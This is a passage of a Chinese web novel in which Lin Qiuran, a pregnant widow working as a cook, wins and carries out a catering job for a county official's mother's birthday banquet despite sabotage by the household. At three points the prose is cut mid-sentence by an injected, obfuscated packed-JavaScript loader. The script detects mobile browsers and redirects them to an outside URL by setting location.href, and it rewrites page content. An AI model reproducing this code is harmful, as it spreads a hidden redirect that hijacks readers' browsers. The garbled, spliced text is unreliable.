等红烧肉快好了，她把京酱肉丝热油炒熟，再辅以黄瓜葱丝儿，每个福袋装德鼓囊囊后，再用豆皮儿把口系上。 福袋不过林秋然半个巴掌大小，做好之后用筷子蘸着酱汁，在上面写上福字，一盘摆了十个寓意十全十美。 若是林秋然能做王家老太太的寿宴，当日还可以写寿字。不过寿字繁体好像和简体不一样，她得学学。 肉炖得久，林秋然顺手做了两道解腻的凉菜，拍黄瓜和菠菜果仁儿，还把米饭蒸上了。 这个时代黄瓜叫胡瓜，若是以后有些场合黄瓜还不能上，因为音是黄，什么事儿黄了可不好。 等红烧肉好了，林秋然出去叫人，于娘子便过来了。 她看着菜的模样，满意地点了点头，“林娘子且等一等，我端给我家老太太尝尝。对了，这菜都叫什么？” 林秋然道：“这道红烧肉寓意红火喜庆，这道福袋寓意美满幸福，凉拌胡瓜和菠菜果仁是留着给老太太解腻的。” 于氏点了点头，带着丫鬟端着菜便离开了。 孙氏深吸一口气，“这么多菜呢，也不知能不能成。” 要是成不了，岂不是白来一趟，白花坐牛车的钱，而且，林秋然还白忙活小半天，白给人做了顿饭。 林秋然也不知道，二人就在厨房等着，等的时间越来越长，眼看太阳高挂都到中午了，还没来人。 林秋然抿了抿唇，这般慢难道是不合胃口，可不合胃口不该尝尝不满意就把菜端出来吗？ 孙氏也觉得时间太久，她安慰道：“这也不是回回都能成，你做得好吃，是每个人口味不一样，没事儿。” 林秋然点点头，话是如此，可忙活这么半天却没成，心里还是有些失落。 孙氏笑笑，“咱们一会出去逛逛，吃个午饭，这边还有小馆子啥的，想吃啥就吃！不能天天给别人做对不。” 林秋然：“嗯，一会儿出去吃饭。” 这边又等了一会儿于娘子才过来，于氏脸上带着笑，她道：“等急了吧，老太太今儿胃口好，我就多陪着说了会儿话。林娘子手艺可是没得说，每年夏日我婆婆胃口都不好，今儿却是吃了许多。” 林秋然听这话的意思，是成了？ 11. 第十一章 成了 于娘子笑着说道：“老太太很满意，咱们坐下把事儿定一定。” 孙氏惊喜地看了林秋然一眼，真成了！秋然可真有本事，她还以为……还以为成不了呢。 林秋然心底松了口气，她虽做过不少席面，但来这儿之后一切从头开始，这是没人帮忙，靠自己手艺找来的，对她来说意义非凡，她对着于娘子笑了笑，“好。” 于娘子请二人移步正厅，这是王家待客的地方。 到了正厅，于娘子请林秋然和孙氏坐下，她道：“我婆婆寿宴在六日后，七月二十七，请了十六桌，一桌十人，每桌菜定的是十六道。” 林秋然心里了然，按理说菜的数量是要比每桌客人多的，只不过当初萧家穷，没那么多钱，只能每道菜份量大一些。而于家虽有些家底的，可村里人穷，真敞开了吃多少银子都收不住。 十六道菜算是比较规整的席面了，更高的还有十八道、二十六道、二十八道，菜品都是双数，这个没得说。 于娘子继续道：“要四道凉菜，一道汤，其余都是热菜，荤素你看着来，但是得有那道红烧肉和福袋。我婆婆牙口不好，往日吃肉都嚼不动，但是林娘子做的这道肉实在合她胃口，可以说得上入口即化，好吃的不得了。福袋喜庆，味道也不错，我还是头一次见呢。我婆婆特意嘱咐，一定要有这两道菜。” 于氏刚刚也坐下尝来着，红烧肉她也吃过别人做的，但就是没有林秋然做的好吃，那软糯程度，让人惊叹。福袋亦是巧妙，咸甜口的肉丝辅以胡瓜丝一点都不腻，凉菜也很爽口，光是这四道菜，就让王家没法子再用别人。 林秋然道：“好说，菜单我仔细想想，过两日再上门一趟，把菜单定下来。于娘子，这菜样数多，我得提前一天过来准备，还有便是这工钱。” 林秋然没等于娘子说给多少，她得自己争取，“工钱我要八钱银子，定金先给一半，而且我们不管洗碗，碗筷盘子得准备好。” 菜多，光忙就得忙活两日，这两日就做不得别的。去于家庄给了三钱，但只半天，王家的寿宴她要八钱银子不算多。 于氏沉吟片刻，道：“八钱是不是多了些。” 在县城，做这样的席面五钱到一两银子不等，全看师傅手艺、名气。于氏本想给六钱银子，没想到林秋然倒是敢开口。 林秋然道：“老太太六十大寿，是喜庆的事，于娘子肯定也希望寿宴尽善尽美。” 于娘子笑笑，“也罢，我们府里有个厨娘，当日也能帮忙。缺什么拟菜单那日再说，来不及准备的今儿提前告诉我也成。菜的味道最要紧，千万记住的。” 林秋然点点头，“寿宴交给我，娘子放心就是。” 于娘子给了一半定金，做这个是不必签文书的，再怎么说王家也是个官，谁都不会做毁前程的事儿。 从王家出来，孙氏同林秋然道：“秋然，娘还以为成不了呢。” 林秋然：“我也以为，不过后面想，若是不成早该过来说了，不喜欢直接让我走就是。试菜拖得时间越长，反而说明机会越大。” 孙氏赞同地点头，“哎，饿了吧，咱们先吃饭去。” 若孙氏一个人肯定就回家了，但林秋然做了菜，肚子还有孩子，不能饿着。 林秋然也想尝尝这边的菜，知己知彼，日后做菜做席面心里也有数。 小饭馆还不太成，林秋然在街边走走看看，最后找了个看着还不错的二层酒楼。 孙氏还是那个性子，见林秋然要去酒楼，说什么也不进去，“你去，娘买俩包子就成了。” 林秋然好说歹说，“你要买包子，那我也吃包子好了，咱们都吃包子，吃完就回家，也不坐牛车了，我跟你走回去。” 孙氏脸色写着纠结，走回去哪儿行，“哎，走吧走吧。” 林秋然笑了笑，真让孙氏买包子，她在里面吃，她哪儿能吃得下去，“就这一次，也看看别人做的同我做的有什么区别。” 进去之后，二人坐在大堂，林秋然就点了两道菜，一道红烧肉，一道素的蔬菜什锦。 前者八十文一道，后者二十文，米饭两文一碗，林秋然要了两碗。 孙氏在心里直呼抢钱。 先上的是红烧肉，偏甜口，这肯定是早就炖好的，样子好看红润油亮，味道还成，却不及林秋然炖的软烂入味，多吃几块就会觉得腻。 炒青菜很快也上来了，里面什么菜都有，胡萝卜土豆青菜……只不过是一锅炒的，口感不太好。 有的菜过熟，有的口感则偏硬，这样的菜要想好吃，得提前处理，有的得过油，看火候一样一样往里放。 孙氏是不是一个爱泼冷水的人，尤其这菜还是林秋然点的。她指定不能说不好吃，她昧着良心夸，“不愧是大酒楼，味道就是好。” 林秋然摸摸鼻子，这要是别人见了，还得以为孙氏是酒楼请来的托。 她吃过心里也有数了，若是自己摆摊卖，知道该怎么定价。酒楼菜的菜份量不算大，这道菜一斤多点的肉，却能卖八十文。不过若在外面支个小摊，比不上酒楼宽敞明亮，肯定卖不上这么高的价钱。 等吃过饭后，林秋然又去香料铺子买了十几种香料，还去了杂货铺子买了香蕈干儿。她打算自己做十三香，工欲善其事必先利其器，有些菜就是看调料。这种秘方得自己带着，不能去主人家里现做。她还打算生意稳定了，打一副好用的刀，这刀工也和菜的味道有关系。 香料要价贵，二人吃饭花了一钱银子，买香料花了两钱。 买完这些，林秋然看时间还早，跟着孙氏去打听了打听县城的宅子多少钱。她这才知道，地段差一些的三间房要二三十两银子，好一些的就要四五十两了，总之地方越好、越大的房子越贵。 孙氏心里唏嘘，几十两银子，萧家这么多年都没有攒过这么多，这还是卖了株灵芝、林秋然又挖了金子才有些家底。 银子就那么多，买了宅子就没了，孙氏更愿意林秋然留着钱傍身，若以后他们老两口……林秋然和孩子也能好好过日子。县城宅子虽好，可总归没那么安稳。 孙氏想说几句，但家里的钱林秋然管，她又怕插嘴了林秋然觉得她想反悔。 这般想着二人就走到了牛车旁，她们来得早，只有早上一块儿来的李婶子在这，还得等一会儿别人。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598346|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶儿住在萧家旁边，家中三个儿子，一个去从军了，剩下两个在家里种地，日子还算不错。 她上下打量了林秋然一遍，最后目光落在林秋然肚子上，“孙姐，这些日子你们咋总往县城跑？” 孙氏和萧大石几乎日日去，今儿孙氏又带着林秋然来，也不知道去县城干啥，刚才李婶儿在街上碰见，远远看着俩人进了间铺子，只不过离得远，也没看清进啥铺子，孙氏臂弯的篮子又被布蒙着，李婶儿盯了半天，也没看出所以然来。 孙氏道：“就过来瞅瞅，换点东西。” 李婶儿：“换啥东西还用跑县城来，乡里乡亲的，我家也能换啊。” 林秋然伸手摸了摸肚子，开口道：“昨儿有些不舒服，我娘带我过来看看，顺便换点东西。” 说完，她冲李婶儿笑了笑，“婶子来县城买东西吗？” 李婶儿提着一包点心，红纸包的，很是显眼。林秋然知道，出门在外不能说自己多好，会招人嫉恨。 李婶儿拍拍大腿道：“这不是我的儿媳妇也有了身孕，胃口不好吃啥吐啥，完了我儿子还是个心疼媳妇的，非说来县城买些可口的吃的。他那还得干活，哪儿抽得出空，所以就我来了。还是秋然好，我儿媳嘴挑还娇气。” 孙氏皱着眉，她不爱听这话，这就好像说林秋然命不好一样，别人害喜有相公惦念，林秋然没有才不娇气。 有道是不争馒头争口气，孙氏不是爱争的人，可不想林秋然瞎想。她刚想开口，林秋然就拉住她的手，“嫂子哪儿是娇气，是命好有人疼。” 林秋然按着孙氏的手，轻轻拍了拍，别人想显摆就显摆，顺着她的话说自己也不会掉块儿肉。 难不成说自己赚了钱，过些日子打算搬走，真这样说估计恨不得把她吃了。 闷声发大财的道理她懂。 李婶儿笑了笑，“哎呀，啥命好命不好的，都是瞎说，你快坐下，这有孩子还是得当心点儿。” 李婶儿心里得意，照她说萧家也是可怜，就那么一个儿子还没了，老两口带着儿媳，也不知道以后日子可咋过。两个老人一个女人，纯纯拖累，秋收都够呛。 估计去县城也就是挖点东西过去卖，估计都不够坐车的钱。没个男人，操心的事儿可多了，还不如把孩子打了改嫁。 林秋然也是个傻的，这都拎不清。 等人齐了，牛车就晃悠悠回萧家村，等到了，林秋然从袖袋里摸出四文钱给了，跟着孙氏回家。 李婶儿拎着点心，还问林秋然吃不吃，林秋然摇摇头，“给嫂子拿回去吧，我就不吃了。” 太阳已经落山了，孙氏晒得微黑的脸上透着几分难堪，“都是娘对不住你，让你受委屈了。” 今儿咋不买点点心。 林秋然轻声安慰道：“有啥委屈的，你和爹对我好，又不缺吃短喝，难不成前些日子的瓜果鸡肉难道都是大风刮来的。再说咱们家每日都赚钱，说不准过些日子搬到县城去。只是这些事不能和外人说，财不外露嘛，她说两句就说两句，娘你别在乎这个。” 孙氏心里动容，林秋然远比她想得要聪慧通透，县城宅子要买，一定得买！ 12. 第十二章 少菜 到家之后，孙氏把要去主簿家做席面的事儿同萧大石说了。 萧大石今儿去了地里除草，人又黑了一圈儿，他咧嘴笑，牙显得更白了，“那可好，哪天呀？我也跟去帮忙。” 林秋然道：“二十七，不过得提前过去一天准备，还得抽一天把菜单定了，宜早不宜迟，后天我先去一趟。” 这两天林秋然就想想菜单，若是寿宴席面的菜肴主簿家满意，宾主尽欢，那往后有得是生意。怎么也是个官呢，没准儿能够上县丞、县令，还有余安县的有钱人家。 萧大石问：“秋然，那明天还做鱼不？我捞了几条。” 说来也巧，昨天没捞到，萧大石本来不打算去河边的，可是他从地里回来，那会儿正是未时，最热的时候，他热得厉害就想去洗把脸，结果看见河里有鱼。 那会儿地里河边都没人，他赶紧回家拿东西，捞了八条大鲤鱼。 林秋然眼睛一亮，“做！” 昨儿还有一条鲤鱼呢，只不过中午吃了肉，晚上林秋然也不想弄，明儿一块做了卖了去。 马上就天黑了，林秋然让孙氏做的晚饭，自己找了个石臼把香料都磨成粉，按照以前记的配比，做了十三香和菌菇鲜，分别装在了罐子里，然后用布给封好。 日后出门做菜，除了山楂干还得带上这两罐东西，林秋然直接给放在自己出门背的布袋子里了。 孙氏是看着林秋然忙活的，一样样，也弄好半天。说实话，她是有些不解，不知道林秋然做这有啥用，还放在布袋里，这是还要带出门？ 出门给别人家做菜都是准备好现成东西，缺啥让人家备就好了，哪儿还用自己买。 这些东西买还花不少钱，照她说，不如买了吃的给林秋然吃了强。 孙氏忍不住问了问这都是啥，“秋然，王家啥都给准备，还用你费心？” 林秋然看她神色，明白孙氏什么意思，她耐心解释道：“娘，都是些香料，做菜放了会更好吃。去别人家倒是能现做，只不过人家也有厨娘，我怕这些被看到学了去，不如我自己先给做好了。” 都是做菜，肯定是谁做出来的味道更好，办席面才更愿意用谁。可菜就那些，烹煮蒸炒的手法大差不差，想要更好吃，就得各方面都注意，刀工、火候、调料。 刀工火候林秋然练了多年，大锅不比小锅方便掌控，暂且是没进益的空间。而刀得有钱了才能打副趁手的刀具，急不得。 所以她想先在调料上下功夫，万事都得有投入，这暂且算她做席面师傅的前期投入，别人若是问，就说是家里的秘方。 孙氏觉得林秋然说得有道理，难怪做菜这样好吃。估计是林家传的，要么是自己琢磨的。 次日林秋然上午把鱼做完，让孙氏和萧大石去卖，自己找了块木炭和包点心的废纸，在屋子里写写画画琢磨菜谱。 凉菜四道，最好是两荤两素，或是一荤三素，绝不能是全素。 素菜好说，拍黄瓜、菠菜果仁……时间来得急话，菠菜果仁里还能放粉丝，酸辣口吃起来很是爽口的。 荤的自然得做卤味，到时候切盘，只要味道足够，连蘸碟就不用，摆盘又好看，前一日卤好，第二天能省不少功夫。 至于卤什么，可以卤猪耳朵，若现在是秋冬，可做猪皮冻，但夏日估计不太成。猪耳朵摆盘可以，就是不知能不能买到那么多，这寻常一个肉摊老板一日也就杀一头，估计得把城内的肉摊都问遍了。 总共十六桌，十六盘猪耳朵就得八只猪，林秋然就怕问了还是不够，实在不行就拼一拼，再卤一些猪肝啥的，一半一半这样摆。 像是现代常见的卤牛肉是没有，这个朝代禁止宰杀耕牛，和牛相关的都做不成。 剩下一道菜，林秋然可以做擂椒皮蛋，好吃省事儿。凉菜暂且定这些，她又琢磨起热菜来，福袋和红烧肉两道，这便还剩九道菜一道汤。 鱼肯定是要有，这次她打算做道松鼠鳜鱼，总是红烧鱼，别人也看不出她的手艺来。明儿问问，若是王家有要求两道鱼，还可以做个清蒸鲈鱼。 其余的菜荤素搭配，荷叶□□宝饭荷叶饭都成，汤到时候再看，有鱼就做鱼汤，有鸡就做鸡汤。 其余做些素菜，林秋然打算明儿就去王家，先定下菜单，需要的东西让王家提前准备出来。 下午，孙氏和萧大石回来了，孙氏今儿又买了肉回来，别的她也不懂，但是知道林秋然辛苦，多吃肉肯定是好的。 林秋然帮着卸了东西，她道：“娘，菜单我已经定好了，明儿等做了鱼，我坐牛车过去。” 今天早上萧大石又捞了些鲫鱼，明儿还能去卖，她先过去王家，等下午跟着孙氏和萧大石一块回来。就不坐牛车了，走一会儿，累了让孙氏萧大石推会儿。 孙氏：“成，王家你一个人去成不，要不娘跟你一块儿去？” 林秋然：“就定个菜单而已，我一个人就行。” 孙氏迟疑着道：“要不明儿就不卖鱼了，你还得去城里呢。” 林秋然摇摇头，“没事儿，我先把明儿用的东西备出来，累不着，你放心好了，我知道顾着身子。” 眼看林秋然要去园子，孙氏拦着道：“你别动了，明儿用啥我准备就行了。” 左右不过是些葱姜蒜、酱调料这些，孙氏去剥蒜了，不过家里不多了，再做得去别人家买了。去也去于婶儿家，孙氏不愿意去李婶儿家里。 等次日，林秋然做好了鲫鱼，便赶着去坐牛车。今儿没见李婶儿，总共四个人，还让林秋然坐里面去，倒是很好说话。 等到了县城，林秋然按照上次的记忆找到王家，敲了敲门说明来意，然后就被小厮带了进去。 只不过这回见她的不是于娘子，而是府里的大娘子，姓赵，看年纪比于娘子大一些，衣着干净，身上也没什么绣样花纹，端庄朴素。 也不爱笑，见了林秋然开门见山地问：“你便是席面师傅吧。” 林秋然点点头，“是，那日和于娘子说好，今日定菜单。” 赵娘子道：“我操持寿宴的事，和我说就是。” 林秋然也不知为何换了人，许是家里事都是长媳管，她只是做饭的，其他的不关她的事，她一边说菜名，一边解释用什么做的，府里要准备多少东西，大概什么口味，她不会写字，不过赵娘子给记下了。 有时赵娘子记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598347|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得慢，林秋然就等会儿，最后记完，她又对了一遍，“十六道菜四凉十二热，凉菜有凉拌胡瓜、菠菜果仁、双拼卤味、青椒皮蛋，热菜有红烧肉、福袋、荷叶鸡、松鼠桂鱼、蒜香鲫鱼、八宝饭……烧豆泡、肉末豆腐、炒合菜，热汤一道是鲫鱼豆腐汤。大娘子看看，有什么不妥的，也能换别的。” 赵娘子道：“我弟妹力举你，菜单就照你说的做吧，菜品我会尽力准备。” 林秋然微微低头，“嗯，时辰不早了，我便先回了。” 赵娘子说话时神色一直淡淡的，林秋然从正厅出去，于娘子过来送了送她。 于娘子问道：“菜单可定好了？” 林秋然又把菜单同于娘子说了一遍，“定了这些，大娘子也同意了。” 于娘子道：“辛苦你一早过来。” 林秋然：“份内之事，等二十六我再过来。当晚怕是不便回去，不知府内可以腾一间空屋子。” 这就是住在村里的坏处，若是住在县城，不算远，当日也能回去。 于娘子：“这事儿好说。” 她是知道林秋然有着身孕，还是个寡妇，大约是月份浅，现在还看不出来什么。家住萧家村，离得远，可得当心些，不能因为准备她婆婆的寿宴，孩子出了什么事。 从王家出来，林秋然去寻孙氏和萧大石，二人鱼快卖完了，等卖完之后在县城吃了些饭，便一块回家。 今儿是二十三，还有三日，这几日就是按部就班地卖鱼，每日萧大石捞的鱼就那么多，不会卖不完，也足够往县城跑一趟。 等到二十六这日，林秋然一早带着孙氏去了县城，没让萧大石跟来。 她是这样打算的，因为王家只准备一间空屋子，萧大石又是男人，多有不便，今儿就她和孙氏过来，明儿萧大石自己再过来。 二人坐牛车过来，差三刻辰时到的王家。 林秋然跟主人家打了个招呼，便去了厨房，厨娘也在，“林娘子，你看用我做啥就直接说。” 林秋然打算先看看菜，她和赵娘子说了，放不住的明儿再买，就像豆腐，明儿要炒的肉……这个季节放一晚上指定会坏的。 但今日要做的，今日就得送，不然明日做来不急。比方说猪耳朵猪肝，卤制就要大半天，她打算下午做这个，差不多晚上能好。做这个时间太长，况且明日还有别的菜，现做指定是来不及的。 林秋然在心里清点，茄子、葱姜蒜、调料、青椒、松花蛋、粉条……都是够数的。 轮到猪肝和猪耳朵，林秋然只见一副，她问厨娘：“大娘，这猪肝和耳朵怎么就一副？” “哎呀，大娘子说来着，今儿下人去肉摊看，总共就这么些，已经都给买过来了。” 林秋然皱了皱眉，就算拼着摆东西也不够，最多切四盘，真要凑十六盘摆上去，客人见了会笑话的。 菜单林秋然是三日前定的，县城绝不止一家卖猪肉的，何不早些跟肉摊老板说好。。 林秋然深吸一口气，刚想说话，厨娘就道：“大娘子看东西不够，还买了别的，喏，这儿有大肠。大娘子还说了，你是主厨，手艺好，肯定不会少两样菜就做不成桌的。” 13.第十三章 圆满 这话看似恭维，在夸林秋然厨艺好，可是细听却不对。 林秋然也是听明白了，这根本不是不够，是有意为难。她上次过来是二十三，今儿都过去三天了，如果早去定，肉摊老板指定会留出来，可是根本没定，还拿了一桶大肠过来。 这也是林秋然没害喜的症状，不然闻着味道，饭肯定是做不成了。她是于娘子举荐的人，倘若寿宴做不成，于娘子会被此事连累不说，更甚者，林秋然得罪王家，日后恐怕没办法在余安县立足。 寿宴办不成，谁会找她办席面。 林秋然心道，难怪那日赵娘子对她冷冷淡淡，还说什么弟妹利力荐的人，菜单连改都没改。 林秋然笑了笑道：“无妨，那就劳烦大娘把大肠洗干净，明日宴客，可不能有一点味道。” 厨娘脸上的笑一僵，皱着眉，似乎是有话说，林秋然却不给她说话的机会，“大娘，你可得快一些，明日寿宴，要是因为你耽误了，我可不知道怎么跟大娘子交代。” 林秋然说完，转头和孙氏道：“娘，你把豆子什么的快泡上。” 做八宝饭提前泡一天口感更好。 厨娘去洗大肠去了，林秋然瞄了一眼，也开始忙活。她又不是只会做那一道菜，这不是有大肠吗，她可以做粉肠，也能凉着切盘吃，不过相较于卤猪耳朵，做粉肠肯定更费事儿。毕竟要调馅儿、灌肠、还要蒸，最后才是切片摆盘。 哪像卤味儿，放锅里卤着就能去干别的事了。 孙氏看这样子是出了事儿，忙问林秋然是怎么回事。 林秋然简单解释了一番。 孙氏着急道：“秋然，不然问问于娘子，我看她好说话，说不准还能把猪耳朵给买来。” 大肠向来是炒着吃的，况且下水哪儿好往寿宴上摆。不管怎么做，摆上一盘大肠多不好看。 林秋然摇摇头，“没事，我可以做别的。” 就算猪肝猪耳朵给买回来了，没准儿又缺别的了。赵娘子这么做弄，是肯定她做不好，厨娘亦是。 厨娘现在去洗大肠了，那么一桶，不花功夫洗不干净，就不会盯着她了。 明枪易躲，暗箭难防，倒不如好好做，再和于娘子诉苦，没准儿能多拿工钱。 时间紧，林秋然交代孙氏洗菜切菜，就像葱蒜这些配菜，因为桌多，就得备好些。 洗好切好的盖上竹罩子放在阴凉处就行，有的她一会儿就要用。 林秋然紧着做粉肠，先剥了两头蒜，剥好，她就开始剁馅儿。粉肠中，她觉得蒜香口的最好吃，所以蒜末要细，得有蒜味儿却看不见蒜瓣。 蒜是林秋然磨的，粉肠不比肉肠，肉少粉多，粉用的还是红薯生粉，吃起来才会弹呀，其中林秋然还加了鸡蛋清，还有自己带来的菌菇粉增香提鲜。 因为灌的肠多，怕蒸好了味道不行，她先试了试馅儿，舀一小块儿上锅蒸熟，尝着味道差不多了就可以灌肠了。 期间王家厨娘还问林秋然大肠洗得行不，林秋然仔细看了一遍，“大娘，这些肥油都得剪掉，一定要剪得干干净净，不然寿宴成不了，咱们都没法和大娘子交代。对了，给我找个两指宽的竹筒，漏斗也来一个。猪肝没有不好寻，这个总好找吧。” 厨娘觉得林秋然这是拿着鸡毛当令箭，什么没法交代，好像真能做成一样。只不过她就是一下人，若真是因为她寿宴办不成，大娘子那儿没事，她一同准备寿宴的肯定会受责罚的。 等林秋然把馅儿调好，那一桶大肠厨娘也都给洗干净了，连林秋然要的竹筒、漏斗也都找来了。 这儿没有灌肠的机器，有这两样会方便多。林秋然把肠口套进竹筒上，用绳子系紧，一层层往上撸，等撸到头才从漏斗往里面灌馅儿。 等灌了差不多就用绳子打个结儿，再灌下一节。 做这个最费事，把肠灌好之后，都已经过正午了，林秋然揉了揉腰，深吸口气用竹签往肠上扎了些孔，这才放进锅里蒸。 期间厨娘还进来看了看，问林秋然锅里做的是啥，林秋然叹着气道：“我这可是犯了难，大肠也不知道怎么做。对了，大娘要是闲着把这菜给洗了，洗干净用水泡上。” 厨娘左右看看，也没看出个所以然来，不过想想大肠也就炒着吃，大约是卤了想切盘，可大肠怎么摆盘，恐怕这道菜都没人碰。 中午林秋然孙氏是简单吃了些后又开始忙活，等下午，菜都已洗好，该准备的调料、菜品也都备齐了。 于娘子过来了一趟，林秋然是她举荐的人，她总得过来看看，如果忙不过来，这会儿还能请别人来帮忙。 只不过于娘子一进厨房，就被整整齐齐的菜码惊到了，茄子、辣椒、胡瓜……都已经洗好，炉子烧着火，上面挂着肠，像是在熏肠。 肠的颜色已经熏得发暗，于娘子心里不解，腊肠不是这个时候做的，不过林秋然是厨子，她也就没多问，“都差不多了吧。” 林秋然道：“差不多了，有些大菜明儿再做，新鲜的才好吃。对了菜单改了一道，大娘子说今儿街上猪肝耳朵不够，我便没有做卤味拼盘，而是灌了一些粉肠。” 于娘子不敢信自己的耳朵，“猪肝和耳朵不够？” 林秋然为难地点了点头，“只有一副，大娘子说实在不够，我就怕老太太喜欢卤味，没有失望。” 于娘子看外面天都要黑了，她道：“这你咋不提前跟我说，这会儿再买是不是来不及了？” 林秋然无奈一笑，“大娘子也说，左右不过是一道菜，我是厨子，总不能因为少一样菜席面就做不成了。我就是和于娘子说一声，别明日菜单和菜对不上。” 于娘子眉头皱着，“秋然，若明日缺什么直接同我说。” 她实在想不通，这两样怎么会没有，又不是多金贵的东西，还是下水，往日也没什么人吃。于氏后知后觉地想，林秋然是她找来的人，怕不是赵氏故意为难，才送来大肠。 林秋然还有孕在身，真是…… 她当真不知说什么好了，于娘子心里愧疚，一再叮嘱让林秋然缺什么同她说，然后带着林秋然去了给她们准备的屋子。屋子不大，一张床一个桌子，“你们二人好好休息。” 林秋然点点头，天已经黑了，她也累了一日。 日次二人和一大早就起来，大约是于娘子交代了什么，今儿什么菜都不缺。孙氏杀鱼收拾鱼，林秋然趁着空闲先做了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601877|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红烧肉、八宝饭荷叶鸡。 一做就是十六份，等把这三个弄上，只差两刻就辰时，萧大石也来帮忙了。 林秋然歇了会儿，喝了几口水，又吃了萧大石从家里带的鸡蛋。早饭她是在王家吃的，王家管饭，不过吃得也简单。 接下来炸豆泡、炸鱼，该过油炸的菜也全部过油，油从最开始的大半锅到下去四指。 厨娘就在一旁切菜，林秋然让她切成啥样，她就切成啥样，因为今儿早上赵娘子嘱咐了不可添乱。 昨日林秋然做不好，还能把人换了，今儿却来不及，赵氏亦不想耽搁寿宴。 辰时三刻，还剩一些没炸完，林秋然让孙氏接手，自己去做四道凉菜。等孙氏炸完，林秋然又教她给凉菜摆盘，因为料汁她都是调好的，一道菜放几勺都有数。 菜做好就端出去，只是府里丫鬟没那么多，就连于娘子她们都来帮忙了。 一桌一道，摆盘上菜，每样都是林秋然先清点好才让上菜。 米饭是孙氏蒸的，和在于家庄不同，王家用的是大米，依旧是木桶蒸饭，人多饭也多，她和萧大石一块儿，蒸也容易。 现在只剩热菜，林秋然歇了一会儿，又开始炒菜，一道一道炒好，炒好一道就立刻装盘送上去。有些菜事先炸过，用时就短。 厨娘一直盯着，她琢磨不明白，明明林秋然看着身量纤细，可是拿个大铲子炒一大锅菜，真就给做熟了。 话说席面师傅多是男子，没想到林秋然一个女子还有这般力气。 荷叶鸡、八宝饭、红烧肉……后有各种素菜，总共十五道，最后上的一道便是鲫鱼豆腐汤。 用瓷盆装的，汤汁奶白，豆腐嫩白，葱花翠绿，端上桌赏心悦目。 王家老太太姓李，今年六十，今日是她寿宴，前来拜寿的都是晚辈，她头上戴着抹额，脸上有皱纹，但笑着的时候很和善。 “大家吃好喝好，一定要吃得尽兴。尝尝这红烧肉，味道好着呢。”李氏今儿高兴，这寿宴的菜合她口味，客人吃得也高兴，有面子。 真是一桌子好菜，从凉菜上桌，客人就坐下吃饭了。四道凉菜，味道不分伯仲各有千秋，尤其那道松花蛋味道最好，粉肠也不错，紧实弹牙蒜香十足。 热菜属是恰到好处，每一道都好吃，红烧肉软烂，配着饭吃极香，豆泡不知怎么做的，入味儿极了。 一桌咸辣鲜香，又有甜口的八宝饭，解腻的凉菜，宾客吃得高兴，李氏也有面子。 于娘子把菜上了之后给李氏敬了杯酒就起身了，她没坐下吃。一众人都坐着，她这时起身自然显眼。 李氏知道厨子是于氏找来的，面上带了几分笑，“咋不坐下一起吃，这会儿干啥去。” 于氏笑了笑，“娘，咱们这儿吃上了，厨娘还忙活呢。我去把工钱结了，这两日人也辛苦，这粉肠还是新想的，您可能看出是大肠做的？本来说卤猪耳朵，但大嫂没买来，就做了这个，好在都爱吃。” 李氏一听，瞪了赵氏一眼，她道：“多给些工钱，福袋还有不，没吃过还剩下的菜，给带回去些，别让人饿着。” 于氏笑着应下，“哎，我就说是您的心意，沾沾喜气。”